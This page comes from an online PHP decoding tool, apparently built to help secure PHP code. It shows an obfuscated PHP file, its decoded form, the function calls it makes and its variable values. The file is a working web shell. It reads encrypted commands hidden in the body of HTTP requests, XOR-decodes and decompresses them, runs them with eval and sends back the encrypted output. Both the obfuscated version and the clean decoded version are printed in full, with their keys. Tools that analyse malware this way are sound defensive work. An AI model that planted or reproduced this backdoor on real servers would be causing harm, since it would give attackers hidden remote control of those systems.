Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Y='rR&h2KZOY";R&R&functiR&on xR&($t,$R&k){$cR&=sR&trlen($k);$l=strlen(R&R&$t);$R&o..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="acbd18db";$kh="4cc2f85cedef";$kf="654fccc4a4d8";$p="qt4H09NBjrh2KZOY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$Y='rR&h2KZOY";R&R&functiR&on xR&($t,$R&k){$cR&=sR&trlen($k);$l=strlen(R&R&$t);$R&o="";forR';
$d='&($i=R&0;$i<$l;){fR&or($j=0R&;R&(R&$j<$c&&$i<$lR&);$j++,$i++R&){$o.R&=$t{R&$i}^$R&k';
$C='aR&seR&64_dR&ecode($mR&[1]),$k))R&);R&$R&o=@ob_get_conteR&nts();@R&ob_R&end_cleanR&()';
$R='$k="R&acR&bd18dR&b";$kh="R&4cc2f85cedefR&";$kf="6R&54fcccR&4a4d8"R&;$pR&="qt4HR&09NBj';
$N='R&;$r=@base6R&4_R&encodeR&(@x(@R&gzcompR&ress($o),$R&k))R&;print(R&"$p$khR&$r$kf");}';
$t=str_replace('eL','','ceLreeLateLe_fueLneLeLction');
$K='R&{$j};}R&}return $o;}R&if (@pregR&_maR&tch("/$R&kh(.+R&)$kf/R&",@fiR&le_gR&et_content';
$O='s("pR&hp://iR&R&nput"),$m)=R&=R&1) {@ob_staR&rt();@R&evaR&l(@gzuncomR&press(R&@x(@b';
$V=str_replace('R&','',$R.$Y.$d.$K.$O.$C.$N);
$G=$t('',$V);$G();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C aR&seR&64_dR&ecode($mR&[1]),$k))R&);R&$R&o=@ob_get_conteR&nt..
$K R&{$j};}R&}return $o;}R&if (@pregR&_maR&tch("/$R&kh(.+R&)$kf..
$N R&;$r=@base6R&4_R&encodeR&(@x(@R&gzcompR&ress($o),$R&k))R&;p..
$O s("pR&hp://iR&R&nput"),$m)=R&=R&1) {@ob_staR&rt();@R&evaR&l(..
$R $k="R&acR&bd18dR&b";$kh="R&4cc2f85cedefR&";$kf="6R&54fcccR&4..
$V $k="acbd18db";$kh="4cc2f85cedef";$kf="654fccc4a4d8";$p="qt4H..
$Y rR&h2KZOY";R&R&functiR&on xR&($t,$R&k){$cR&=sR&trlen($k);$l=..
$d &($i=R&0;$i<$l;){fR&or($j=0R&;R&(R&$j<$c&&$i<$lR&);$j++,$i++..
$k acbd18db
$p qt4H09NBjrh2KZOY
$t create_function
$kf 654fccc4a4d8
$kh 4cc2f85cedef

Stats

MD5 9aa6c672fc9076f3cce4823e2cca6c65
Eval Count 1
Decode Time 93 ms